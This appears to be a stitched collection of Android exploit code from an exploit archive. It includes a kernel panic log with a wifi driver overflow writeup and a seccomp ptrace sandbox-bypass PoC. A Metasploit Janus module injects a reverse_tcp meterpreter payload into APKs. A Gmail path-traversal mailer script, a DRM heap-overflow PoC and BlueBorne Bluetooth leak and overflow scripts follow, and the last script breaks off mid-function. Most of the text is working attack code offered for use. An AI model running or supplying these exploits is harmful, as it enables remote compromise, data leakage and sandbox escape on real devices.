[ 56.919840]c2f0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[ 56.920849]c310 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[ 56.921858]c330 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[ 56.922866]c350 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[ 56.923880]-(0)[880:tx_thread]Process tx_thread (pid: 880, stack limit = 0xcb99e248)
[ 56.924845]-(0)[880:tx_thread]Stack: (0xcb99fdb0 to 0xcb9a0000)
[ 56.925584]-(0)[880:tx_thread]fda0: 00000001 00000000 c07aeeb8 c029c4b0
[ 56.926801]-(0)[880:tx_thread]fdc0: c0b9d340 00000110 00000000 00000000 cb99fdf4 cb99fde0 c07aef68 c009d670
[ 56.928016]-(0)[880:tx_thread]fde0: 9d5d0000 180f002c e54b6168 e54af000 e54b5d10 00000110 dd5d0000 00000000
[ 56.929230]-(0)[880:tx_thread]fe00: cb99fe6c cb99fe10 c03db164 c0408a28 0000af00 00000004 cb99fe44 cb99fe28
[ 56.930445]-(0)[880:tx_thread]fe20: c03eddf4 00000001 00007d10 e54b5d14 e54af000 00000000 cb99fe6c cb99fe48
[ 56.931660]-(0)[880:tx_thread]fe40: c03da49c e54b6168 e54af000 c0cac2f0 00000000 e54af000 00000000 c0cac2f0
[ 56.932874]-(0)[880:tx_thread]fe60: cb99fe8c cb99fe70 c03bd0f4 c03dae1c 00000001 00000000 e54b6168 00000000
[ 56.934089]-(0)[880:tx_thread]fe80: cb99fee4 cb99fe90 c03bd540 c03bcf6c 000007d0 cc0a63c0 00000000 00000000
[ 56.935304]-(0)[880:tx_thread]fea0: c000009a cc0a6a50 00000000 00000000 cc0a65f8 80000013 cc0a6464 cc0a63c0
[ 56.936519]-(0)[880:tx_thread]fec0: cc0a6a5c cb99e000 cc0a65f8 c0cac730 cc0a6464 c0cac2f0 cb99ff44 cb99fee8
[ 56.937734]-(0)[880:tx_thread]fee0: c03efce4 c03bd300 dd6b1dd4 a0070013 c0cade28 cb99e028 c0090920 cc0a6a50
[ 56.938948]-(0)[880:tx_thread]ff00: 01a5fc40 00000000 dea3b480 c0090920 cb99ff10 cb99ff10 c03ef9d4 dd5bfdbc
[ 56.940163]-(0)[880:tx_thread]ff20: 00000000 dd9e1000 c03ef9d4 00000000 00000000 00000000 cb99ffac cb99ff48
[ 56.941378]-(0)[880:tx_thread]ff40: c008fadc c03ef9e0 ffffffff 00000000 df9958c0 dd9e1000 00000000 00000000
[ 56.942593]-(0)[880:tx_thread]ff60: dead4ead ffffffff ffffffff cb99ff6c cb99ff6c 00000000 00000000 dead4ead
[ 56.943807]-(0)[880:tx_thread]ff80: ffffffff ffffffff cb99ff88 cb99ff88 dd5bfdbc c008fa20 00000000 00000000
[ 56.945022]-(0)[880:tx_thread]ffa0: 00000000 cb99ffb0 c000e618 c008fa2c 00000000 00000000 00000000 00000000
[ 56.946236]-(0)[880:tx_thread]ffc0: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[ 56.947452]-(0)[880:tx_thread]ffe0: 00000000 00000000 00000000 00000000 00000013 00000000 ffffffff ffffffff
[ 56.948658]Backtrace:
[ 56.948966]-(0)[880:tx_thread][<c0408a1c>] (kalDevPortWrite+0x0/0x484) from [<c03db164>] (nicTxCmd+0x354/0x638)
[ 56.950213] r9:00000000 r8:dd5d0000 r7:00000110 r6:e54b5d10 r5:e54af000
r4:e54b6168
[ 56.951190]-(0)[880:tx_thread][<c03dae10>] (nicTxCmd+0x0/0x638) from [<c03bd0f4>] (wlanSendCommand+0x194/0x220)
[ 56.952449]-(0)[880:tx_thread][<c03bcf60>] (wlanSendCommand+0x0/0x220) from [<c03bd540>] (wlanProcessCommandQueue+0x24c/0x474)
[ 56.953859] r6:00000000 r5:e54b6168 r4:00000000 r3:00000001
[ 56.954568]-(0)[880:tx_thread][<c03bd2f4>] (wlanProcessCommandQueue+0x0/0x474) from [<c03efce4>] (tx_thread+0x310/0x640)
[ 56.955927]-(0)[880:tx_thread][<c03ef9d4>] (tx_thread+0x0/0x640) from [<c008fadc>] (kthread+0xbc/0xc0)
[ 56.957088]-(0)[880:tx_thread][<c008fa20>] (kthread+0x0/0xc0) from [<c000e618>] (ret_from_fork+0x14/0x3c)
[ 56.958270] r7:00000000 r6:00000000 r5:c008fa20 r4:dd5bfdbc
[ 56.958970]-(0)[880:tx_thread]Code: bad PC value
[ 56.959544]-(0)[880:tx_thread]---[ end trace 1b75b31a2719ed1f ]---
[ 56.960313]-(0)[880:tx_thread]Kernel panic - not syncing: Fatal exception
The vulnerable code is in /drivers/misc/mediatek/conn_soc/drv_wlan/mt_wifi/wlan/os/linux/gl_wext_priv.c:1632
case PRIV_CMD_SW_CTRL:
pu4IntBuf = (PUINT_32)prIwReqData->data.pointer;
prNdisReq = (P_NDIS_TRANSPORT_STRUCT) &aucOidBuf[0];
//kalMemCopy(&prNdisReq->ndisOidContent[0], prIwReqData->data.pointer, 8);
if (copy_from_user(&prNdisReq->ndisOidContent[0],
prIwReqData->data.pointer,
prIwReqData->data.length)) {
status = -EFAULT;
break;
}
prNdisReq->ndisOidCmd = OID_CUSTOM_SW_CTRL;
prNdisReq->inNdisOidlength = 8;
prNdisReq->outNdisOidLength = 8;
/* Execute this OID */
status = priv_set_ndis(prNetDev, prNdisReq, &u4BufLen);
break;
prNdisReq->ndisOidContent is in a static allocation of size 0x1000, and prIwReqData->data.length is a usermode controlled unsigned short, so the copy_from_user results in memory corruption.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39629.zip
/*
The seccomp.2 manpage (http://man7.org/linux/man-pages/man2/seccomp.2.html) documents:
Before kernel 4.8, the seccomp check will not be run again
after the tracer is notified. (This means that, on older ker‐
nels, seccomp-based sandboxes must not allow use of
ptrace(2)—even of other sandboxed processes—without extreme
care; ptracers can use this mechanism to escape from the sec‐
comp sandbox.)
Multiple existing Android devices with ongoing security support (including Pixel 1 and Pixel 2) ship kernels older than that; therefore, in a context where ptrace works, seccomp policies that don't blacklist ptrace can not be considered to be security boundaries.
The zygote applies a seccomp sandbox to system_server and all app processes; this seccomp sandbox permits the use of ptrace:
================
===== filter 0 (164 instructions) =====
0001 if arch == AARCH64: [true +2, false +0]
[...]
0010 if nr >= 0x00000069: [true +1, false +0]
0012 if nr >= 0x000000b4: [true +17, false +16] -> ret TRAP
0023 ret ALLOW (syscalls: init_module, delete_module, timer_create, timer_gettime, timer_getoverrun, timer_settime, timer_delete, clock_settime, clock_gettime, clock_getres, clock_nanosleep, syslog, ptrace, sched_setparam, sched_setscheduler, sched_getscheduler, sched_getparam, sched_setaffinity, sched_getaffinity, sched_yield, sched_get_priority_max, sched_get_priority_min, sched_rr_get_interval, restart_syscall, kill, tkill, tgkill, sigaltstack, rt_sigsuspend, rt_sigaction, rt_sigprocmask, rt_sigpending, rt_sigtimedwait, rt_sigqueueinfo, rt_sigreturn, setpriority, getpriority, reboot, setregid, setgid, setreuid, setuid, setresuid, getresuid, setresgid, getresgid, setfsuid, setfsgid, times, setpgid, getpgid, getsid, setsid, getgroups, setgroups, uname, sethostname, setdomainname, getrlimit, setrlimit, getrusage, umask, prctl, getcpu, gettimeofday, settimeofday, adjtimex, getpid, getppid, getuid, geteuid, getgid, getegid, gettid, sysinfo)
0011 if nr >= 0x00000068: [true +18, false +17] -> ret TRAP
0023 ret ALLOW (syscalls: nanosleep, getitimer, setitimer)
[...]
002a if nr >= 0x00000018: [true +7, false +0]
0032 if nr >= 0x00000021: [true +3, false +0]
0036 if nr >= 0x00000024: [true +1, false +0]
0038 if nr >= 0x00000028: [true +106, false +105] -> ret TRAP
00a2 ret ALLOW (syscalls: sync, kill, rename, mkdir)
0037 if nr >= 0x00000022: [true +107, false +106] -> ret TRAP
00a2 ret ALLOW (syscalls: access)
0033 if nr >= 0x0000001a: [true +1, false +0]
0035 if nr >= 0x0000001b: [true +109, false +108] -> ret TRAP
00a2 ret ALLOW (syscalls: ptrace)
0034 if nr >= 0x00000019: [true +110, false +109] -> ret TRAP
00a2 ret ALLOW (syscalls: getuid)
[...]
================
The SELinux policy allows even isolated_app context, which is used for Chrome's renderer sandbox, to use ptrace:
================
# Google Breakpad (crash reporter for Chrome) relies on ptrace
# functionality. Without the ability to ptrace, the crash reporter
# tool is broken.
# b/20150694
# https://code.google.com/p/chromium/issues/detail?id=475270
allow isolated_app self:process ptrace;
================
Chrome applies two extra layers of seccomp sandbox; but these also permit the use of clone and ptrace:
================
===== filter 1 (194 instructions) =====
0001 if arch == AARCH64: [true +2, false +0]
[...]
0002 if arch != ARM: [true +0, false +60] -> ret TRAP
[...]
0074 if nr >= 0x0000007a: [true +1, false +0]
0076 if nr >= 0x0000007b: [true +74, false +73] -> ret TRAP
00c0 ret ALLOW (syscalls: uname)
0075 if nr >= 0x00000079: [true +75, false +74] -> ret TRAP
00c0 ret ALLOW (syscalls: fsync, sigreturn, clone)
[...]
004d if nr >= 0x0000001a: [true +1, false +0]
004f if nr >= 0x0000001b: [true +113, false +112] -> ret TRAP
00c0 ret ALLOW (syscalls: ptrace)
[...]
===== filter 2 (449 instructions) =====
0001 if arch != ARM: [true +0, false +1] -> ret TRAP
[...]
00b6 if nr < 0x00000019: [true +4, false +0] -> ret ALLOW (syscalls: getuid)
00b7 if nr >= 0x0000001a: [true +3, false +8] -> ret ALLOW (syscalls: ptrace)
01c0 ret TRAP
[...]
007f if nr >= 0x00000073: [true +0, false +5]
0080 if nr >= 0x00000076: [true +0, false +2]
0081 if nr < 0x00000079: [true +57, false +0] -> ret ALLOW (syscalls: fsync, sigreturn, clone)
[...]
================
Therefore, this not only breaks the app sandbox, but can probably also be used to break part of the isolation of a Chrome renderer process.
To test this, build the following file (as an aarch64 binary) and run it from app context (e.g. using connectbot):
================
*/
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <err.h>
#include <signal.h>
#include <sys/ptrace.h>
#include <errno.h>
#include <sys/wait.h>
#include <sys/syscall.h>
#include <sys/user.h>
#include <linux/elf.h>
#include <asm/ptrace.h>
#include <sys/uio.h>
int main(void) {
setbuf(stdout, NULL);
pid_t child = fork();
if (child == -1) err(1, "fork");
if (child == 0) {
pid_t my_pid = getpid();
while (1) {
errno = 0;
int res = syscall(__NR_gettid, 0, 0);
if (res != my_pid) {
printf("%d (%s)\n", res, strerror(errno));
}
}
}
sleep(1);
if (ptrace(PTRACE_ATTACH, child, NULL, NULL)) err(1, "ptrace attach");
int status;
if (waitpid(child, &status, 0) != child) err(1, "wait for child");
if (ptrace(PTRACE_SYSCALL, child, NULL, NULL)) err(1, "ptrace syscall entry");
if (waitpid(child, &status, 0) != child) err(1, "wait for child");
int syscallno;
struct iovec iov = { .iov_base = &syscallno, .iov_len = sizeof(syscallno) };
if (ptrace(PTRACE_GETREGSET, child, NT_ARM_SYSTEM_CALL, &iov)) err(1, "ptrace getregs");
printf("seeing syscall %d\n", syscallno);
if (syscallno != __NR_gettid) errx(1, "not gettid");
syscallno = __NR_swapon;
if (ptrace(PTRACE_SETREGSET, child, NT_ARM_SYSTEM_CALL, &iov)) err(1, "ptrace setregs");
if (ptrace(PTRACE_DETACH, child, NULL, NULL)) err(1, "ptrace syscall");
kill(child, SIGCONT);
sleep(5);
kill(child, SIGKILL);
return 0;
}
/*
================
If the attack works, you'll see "-1 (Operation not permitted)", which indicates that the seccomp filter for swapon() was bypassed and the kernel's capability check was reached.
For comparison, the following (a straight syscall to swapon()) fails with SIGSYS:
================
#include <unistd.h>
#include <sys/syscall.h>
int main(void) {
syscall(__NR_swapon, 0, 0);
}
================
Attaching screenshot from connectbot.
I believe that a sensible fix would be to backport the behavior change that occured in kernel 4.8 to Android's stable branches.
*/
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/payload/apk'
class MetasploitModule < Msf::Exploit::Local
Rank = ManualRanking
include Msf::Exploit::FileDropper
include Msf::Post::File
include Msf::Post::Android::Priv
include Msf::Payload::Android
def initialize(info={})
super( update_info( info, {
'Name' => "Android Janus APK Signature bypass",
'Description' => %q{
This module exploits CVE-2017-13156 in Android to install a payload into another
application. The payload APK will have the same signature and can be installed
as an update, preserving the existing data.
The vulnerability was fixed in the 5th December 2017 security patch, and was
additionally fixed by the APK Signature scheme v2, so only APKs signed with
the v1 scheme are vulnerable.
Payload handler is disabled, and a multi/handler must be started first.
},
'Author' => [
'GuardSquare', # discovery
'V-E-O', # proof of concept
'timwr', # metasploit module
'h00die', # metasploit module
],
'References' => [
[ 'CVE', '2017-13156' ],
[ 'URL', 'https://www.guardsquare.com/en/blog/new-android-vulnerability-allows-attackers-modify-apps-without-affecting-their-signatures' ],
[ 'URL', 'https://github.com/V-E-O/PoC/tree/master/CVE-2017-13156' ],
],
'DisclosureDate' => 'Jul 31 2017',
'SessionTypes' => [ 'meterpreter' ],
'Platform' => [ 'android' ],
'Arch' => [ ARCH_DALVIK ],
'Targets' => [ [ 'Automatic', {} ] ],
'DefaultOptions' => {
'PAYLOAD' => 'android/meterpreter/reverse_tcp',
'AndroidWakelock' => false, # the target may not have the WAKE_LOCK permission
'DisablePayloadHandler' => true,
},
'DefaultTarget' => 0,
'Notes' => {
'SideEffects' => ['ARTIFACTS_ON_DISK', 'SCREEN_EFFECTS'],
'Stability' => ['SERVICE_RESOURCE_LOSS'], # ZTE youtube app won't start anymore
}
}))
register_options([
OptString.new('PACKAGE', [true, 'The package to target, or ALL to attempt all', 'com.phonegap.camerasample']),
])
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false]),
]
end
def check
os = cmd_exec("getprop ro.build.version.release")
unless Gem::Version.new(os).between?(Gem::Version.new('5.1.1'), Gem::Version.new('8.0.0'))
vprint_error "Android version #{os} is not vulnerable."
return CheckCode::Safe
end
vprint_good "Android version #{os} appears to be vulnerable."
patch = cmd_exec('getprop ro.build.version.security_patch')
if patch.empty?
print_status 'Unable to determine patch level. Pre-5.0 this is unaccessible.'
elsif patch > '2017-12-05'
vprint_error "Android security patch level #{patch} is patched."
return CheckCode::Safe
else
vprint_good "Android security patch level #{patch} is vulnerable"
end
CheckCode::Appears
end
def exploit
def infect(apkfile)
unless apkfile.start_with?("package:")
fail_with Failure::BadConfig, 'Unable to locate app apk'
end
apkfile = apkfile[8..-1]
print_status "Downloading APK: #{apkfile}"
apk_data = read_file(apkfile)
begin
# Create an apk with the payload injected
apk_backdoor = ::Msf::Payload::Apk.new
apk_zip = apk_backdoor.backdoor_apk(nil, payload.encoded, false, false, apk_data, false)
# Extract the classes.dex
dex_data = ''
Zip::File.open_buffer(apk_zip) do |zipfile|
dex_data = zipfile.read("classes.dex")
end
dex_size = dex_data.length
# Fix the original APKs zip file code directory
cd_end_addr = apk_data.rindex("\x50\x4b\x05\x06")
cd_start_addr = apk_data[cd_end_addr+16, cd_end_addr+20].unpack("V")[0]
apk_data[cd_end_addr+16...cd_end_addr+20] = [ cd_start_addr+dex_size ].pack("V")
pos = cd_start_addr
while pos && pos < cd_end_addr
offset = apk_data[pos+42, pos+46].unpack("V")[0]
apk_data[pos+42...pos+46] = [ offset+dex_size ].pack("V")
pos = apk_data.index("\x50\x4b\x01\x02", pos+46)
end
# Prepend the new classes.dex to the apk
out_data = dex_data + apk_data
out_data[32...36] = [ out_data.length ].pack("V")
out_data = fix_dex_header(out_data)
out_apk = "/sdcard/#{Rex::Text.rand_text_alphanumeric 6}.apk"
print_status "Uploading APK: #{out_apk}"
write_file(out_apk, out_data)
register_file_for_cleanup(out_apk)
print_status "APK uploaded"
# Prompt the user to update the APK
session.appapi.app_install(out_apk)
print_status "User should now have a prompt to install an updated version of the app"
true
rescue => e
print_error e.to_s
false
end
end
unless [CheckCode::Detected, CheckCode::Appears].include? check
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end
if datastore["PACKAGE"] == 'ALL'
vprint_status('Finding installed packages (this can take a few minutes depending on list of installed packages)')
apkfiles = []
all = cmd_exec("pm list packages").split("\n")
c = 1
all.each do |package|
package = package.split(':')[1]
vprint_status("Attempting exploit of apk #{c}/#{all.length} for #{package}")
c += 1
next if ['com.metasploit.stage', # avoid injecting into ourself
].include? package # This was left on purpose to be expanded as need be for testing
result = infect(cmd_exec("pm path #{package}"))
break if result
end
else
infect(cmd_exec("pm path #{datastore["PACKAGE"]}"))
end
end
end
'''
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1342
There is a directory traversal issue in attachment downloads in Gmail. For non-gmail accounts, there is no path sanitization on the attachment filename in the email, so when attachments are downloaded, a file with any name and any contents can be written to anywhere on the filesystem that the Gmail app can access. This bug has the following limitations:
1) the email address has to be a non-Gmail and non Gmailified (Hotmail or Yahoo) account
2) the file can not overwrite an existing file, it has to be a file that doesn't already exist
3) there user has to click to download the attachment (and the path looks a bit weird on the screen)
It is possible to modify a EmailProviderBody database using this bug by placing a journal file in the databases directory.
Below is a PoC of an email that causes this issue. Attached is a python script that will send an email that causes this issue (don't forget to add in the to and from addresses, and your Gmail credentials). WARNING: this PoC will cause Gmail to crash repeatedly, and you will need to re-install it to get it to work again
Content-Type: multipart/mixed; boundary="---
-714A286D976BF3E58D9D671E37CBCF7C"
MIME-Version: 1.0
Subject: hello
To: <address>
From: natashenka@google.com
You will not see this in a MIME-aware mail reader.
------714A286D976BF3E58D9D671E37CBCF7C
Content-Type: text/html
<html><body><b>test</b></body></html>
------714A286D976BF3E58D9D671E37CBCF7C
Content-Type: audio/wav; name="../../../../data/data/com.google.android.gm/databases/EmailProviderBody.db-journal"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="test"
2dUF+SChY9f/////AAAAABAAAAAAAQAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGRyb2lkX21l
dGFkYXRhYW5kcm9pZF9tZXRhZGF0YQNDUkVBVEUgVEFCTEUgAAAARlkAAABFSgAAAEs7AAAASSw=
------714A286D976BF3E58D9D671E37CBCF7C
'''
import os
import sys
import smtplib
import mimetypes
from optparse import OptionParser
from email import encoders
from email.message import Message
from email.mime.audio import MIMEAudio
from email.mime.base import MIMEBase
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import subprocess
import random
def main():
FROM_ADDRESS = "YOUR FROM ADDRESS HERE"
YOUR_CREDENTIAL = "GET A GOOGLE ACCOUNT TEMPORARY PASSWORD AND PUT IT HERE"
TO_ADDRESS = "ACCOUNT TO ATTACK HERE"
composed = """Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="----714A286D976BF3E58D9D671E37CBCF7C"
MIME-Version: 1.0
Subject: hello image2adfdfs1
To: """+ TO_ADDRESS +"""
From: """ + FROM_ADDRESS + """
You will not see this in a MIME-aware mail reader.
------714A286D976BF3E58D9D671E37CBCF7C
Content-Type: text/html
<html><body><b>test</b></body></html>
------714A286D976BF3E58D9D671E37CBCF7C
Content-Type: audio/wav; name="../../../../data/data/com.google.android.gm/databases/EmailProviderBody.db-journal"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="%2e%2e%2fqpng"
2dUF+SChY9f/////AAAAABAAAAAAAQAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGRyb2lkX21l
dGFkYXRhYW5kcm9pZF9tZXRhZGF0YQNDUkVBVEUgVEFCTEUgAAAARlkAAABFSgAAAEs7AAAASSw=
------714A286D976BF3E58D9D671E37CBCF7C"""
s = smtplib.SMTP_SSL("smtp.gmail.com")
s.login(FROM_ADDRESS, YOUR_CREDENTIAL)
you = TO_ADDRESS
s.sendmail(FROM_ADDRESS, you, composed)
s.quit()
if __name__ == '__main__':
main()
#include <utils/StrongPointer.h>
#include <binder/IServiceManager.h>
#include <binder/MemoryHeapBase.h>
#include <binder/MemoryBase.h>
#include <binder/IMemory.h>
#include <media/ICrypto.h>
#include <media/IMediaDrmService.h>
#include <media/hardware/CryptoAPI.h>
#include <stdio.h>
#include <unistd.h>
using namespace android;
static sp<ICrypto> getCrypto()
{
sp<IServiceManager> sm = defaultServiceManager();
sp<IBinder> binder = sm->getService(String16("media.drm"));
sp<IMediaDrmService> service = interface_cast<IMediaDrmService>(binder);
if (service == NULL) {
fprintf(stderr, "Failed to retrieve 'media.drm' service.\n");
return NULL;
}
sp<ICrypto> crypto = service->makeCrypto();
if (crypto == NULL) {
fprintf(stderr, "makeCrypto failed.\n");
return NULL;
}
return crypto;
}
static bool setClearKey(sp<ICrypto> crypto)
{
// A UUID which identifies the ClearKey DRM scheme.
const uint8_t clearkey_uuid[16] = {
0x10, 0x77, 0xEF, 0xEC, 0xC0, 0xB2, 0x4D, 0x02,
0xAC, 0xE3, 0x3C, 0x1E, 0x52, 0xE2, 0xFB, 0x4B
};
if (crypto->createPlugin(clearkey_uuid, NULL, 0) != OK) {
fprintf(stderr, "createPlugin failed.\n");
return false;
}
return true;
}
#define DATA_SIZE (0x2000)
#define DEST_OFFSET (1)
static void executeOverflow()
{
// Get an interface to a remote CryptoHal object.
sp<ICrypto> crypto = getCrypto();
if (crypto == NULL) {
return;
}
if (!setClearKey(crypto)) {
return;
}
// From here we're done with the preparations and go into the
// vulnerability PoC.
sp<MemoryHeapBase> heap = new MemoryHeapBase(DATA_SIZE);
// This line is to merely show that we have full control over the data
// written in the overflow.
memset(heap->getBase(), 'A', DATA_SIZE);
sp<MemoryBase> sourceMemory = new MemoryBase(heap, 0, DATA_SIZE);
sp<MemoryBase> destMemory = new MemoryBase(heap, DATA_SIZE - DEST_OFFSET,
DEST_OFFSET);
int heapSeqNum = crypto->setHeap(heap);
if (heapSeqNum < 0) {
fprintf(stderr, "setHeap failed.\n");
return;
}
CryptoPlugin::Pattern pattern = { .mEncryptBlocks = 0, .mSkipBlocks = 1 };
ICrypto::SourceBuffer source = { .mSharedMemory = sourceMemory,
.mHeapSeqNum = heapSeqNum };
// mNumBytesOfClearData is the actual size of data to be copied.
CryptoPlugin::SubSample subSamples[] = { {
.mNumBytesOfClearData = DATA_SIZE, .mNumBytesOfEncryptedData = 0 } };
ICrypto::DestinationBuffer destination = {
.mType = ICrypto::kDestinationTypeSharedMemory, .mHandle = NULL,
.mSharedMemory = destMemory };
printf("decrypt result = %zd\n", crypto->decrypt(NULL, NULL,
CryptoPlugin::kMode_Unencrypted, pattern, source, 0, subSamples,
ARRAY_SIZE(subSamples), destination, NULL));
}
int main() {
executeOverflow();
return 0;
}
import os
import sys
import struct
import bluetooth
BNEP_PSM = 15
BNEP_FRAME_CONTROL = 0x01
# Control types (parsed by bnep_process_control_packet() in bnep_utils.cc)
BNEP_SETUP_CONNECTION_REQUEST_MSG = 0x01
def oob_read(src_bdaddr, dst):
bnep = bluetooth.BluetoothSocket(bluetooth.L2CAP)
bnep.settimeout(5)
bnep.bind((src_bdaddr, 0))
print 'Connecting to BNEP...'
bnep.connect((dst, BNEP_PSM))
bnep.settimeout(1)
print "Triggering OOB read (you may need a debugger to verify that it's actually happening)..."
# This crafted BNEP packet just contains the BNEP_FRAME_CONTROL frame type,
# plus the BNEP_SETUP_CONNECTION_REQUEST_MSG control type.
# It doesn't include the 'len' field, therefore it is read from out of bounds
bnep.send(struct.pack('<BB', BNEP_FRAME_CONTROL, BNEP_SETUP_CONNECTION_REQUEST_MSG))
try:
data = bnep.recv(3)
except bluetooth.btcommon.BluetoothError:
data = ''
if data:
print '%r' % data
else:
print '[No data]'
print 'Closing connection.'
bnep.close()
def main(src_hci, dst):
os.system('hciconfig %s sspmode 0' % (src_hci,))
os.system('hcitool dc %s' % (dst,))
oob_read(src_hci, dst)
if __name__ == '__main__':
if len(sys.argv) < 3:
print('Usage: python bnep02.py <src-bdaddr> <dst-bdaddr>')
else:
if os.getuid():
print 'Error: This script must be run as root.'
else:
main(sys.argv[1], sys.argv[2])
import os
import sys
import struct
import bluetooth
BNEP_PSM = 15
BNEP_FRAME_COMPRESSED_ETHERNET = 0x02
LEAK_ATTEMPTS = 20
def leak(src_bdaddr, dst):
bnep = bluetooth.BluetoothSocket(bluetooth.L2CAP)
bnep.settimeout(5)
bnep.bind((src_bdaddr, 0))
print 'Connecting to BNEP...'
bnep.connect((dst, BNEP_PSM))
bnep.settimeout(1)
print 'Leaking bytes from the heap of com.android.bluetooth...'
for i in range(LEAK_ATTEMPTS):
# A byte from the heap at (p + controlled_length) will be leaked
# if it's greater than BNEP_FILTER_MULTI_ADDR_RESPONSE_MSG (0x06).
# This BNEP packet can be seen in Wireshark with the following info:
# "Compressed Ethernet+E - Type: unknown[Malformed packet]".
# The response sent by bnep_send_command_not_understood() contains 3 bytes:
# 0x01 (BNEP_FRAME_CONTROL) + 0x00 (BNEP_CONTROL_COMMAND_NOT_UNDERSTOOD) + leaked byte
# 0x82 & 0x80 == 0x80 -> Extension flag = True. 0x82 & 0x7f == 0x2 -> type
type_and_ext_present = BNEP_FRAME_COMPRESSED_ETHERNET | 0x80
# 0x80 -> ext -> we need to pass this check: !(ext & 0x7f)
ext = 0x80
# i -> length (the 'p' pointer is advanced by this length)
bnep.send(struct.pack('<BBB', type_and_ext_present, ext, i))
try:
data = bnep.recv(3)
except bluetooth.btcommon.BluetoothError:
data = ''
if data:
print 'heap[p + 0x%02x] = 0x%02x' % (i, ord(data[-1]))
else:
print 'heap[p + 0x%02x] <= 6' % (i)
print 'Closing connection.'
bnep.close()
def main(src_bdaddr, dst):
os.system('hciconfig %s sspmode 0' % (src_bdaddr,))
os.system('hcitool dc %s' % (dst,))
leak(src_bdaddr, dst)
if __name__ == '__main__':
if len(sys.argv) < 3:
print('Usage: python bnep01.py <src-bdaddr> <dst-bdaddr>')
else:
if os.getuid():
print 'Error: This script must be run as root.'
else:
main(sys.argv[1], sys.argv[2])
from pwn import *
import bluetooth
if not 'TARGET' in args:
log.info("Usage: CVE-2017-0785.py TARGET=XX:XX:XX:XX:XX:XX")
exit()
target = args['TARGET']
service_long = 0x0100
service_short = 0x0001
mtu = 50
n = 30
def packet(service, continuation_state):
pkt = '\x02\x00\x00'
pkt += p16(7 + len(continuation_state))
pkt += '\x35\x03\x19'
pkt += p16(service)
pkt += '\x01\x00'
pkt += continuation_state
return pkt
p = log.progress('Exploit')
p.status('Creating L2CAP socket')
sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
bluetooth.set_l2cap_mtu(sock, mtu)
context.endian = 'big'
p.status('Connecting to target')
sock.connect((target, 1))
p.status('Sending packet 0')
sock.send(packet(service_long, '\x00'))
data = sock.recv(mtu)
if data[-3] != '\x02':
log.error('Invalid continuation state received.')
stack = ''
for i in range(1, n):
p.status('Sending packet %d' % i)
sock.send(packet(service_short, data[-3:]))
data = sock.recv(mtu)
stack += data[9:-3]
sock.close()
p.success('Done')
print hexdump(stack)
from pwn import *
import bluetooth
if not 'TARGET' in args:
log.info('Usage: python CVE-2017-0781.py TARGET=XX:XX:XX:XX:XX:XX')
exit()
target = args['TARGET']
count = 30 # Amount of packets to send
port = 0xf # BT_PSM_BNEP
context.arch = 'arm'
BNEP_FRAME_CONTROL = 0x01
BNEP_SETUP_CONNECTION_REQUEST_MSG = 0x01
def set_bnep_header_extension_bit(bnep_header_type):
"""
If the extension flag is equal to 0x1 then
one or more extension headers follows the BNEP
header; If extension flag is equal to 0x0 then the
BNEP payload follows the BNEP header.
"""
return bnep_header_type | 128
def bnep_control_packet(control_type, control_packet):
return p8(control_type) + control_packet
def packet(overflow):
pkt = ''
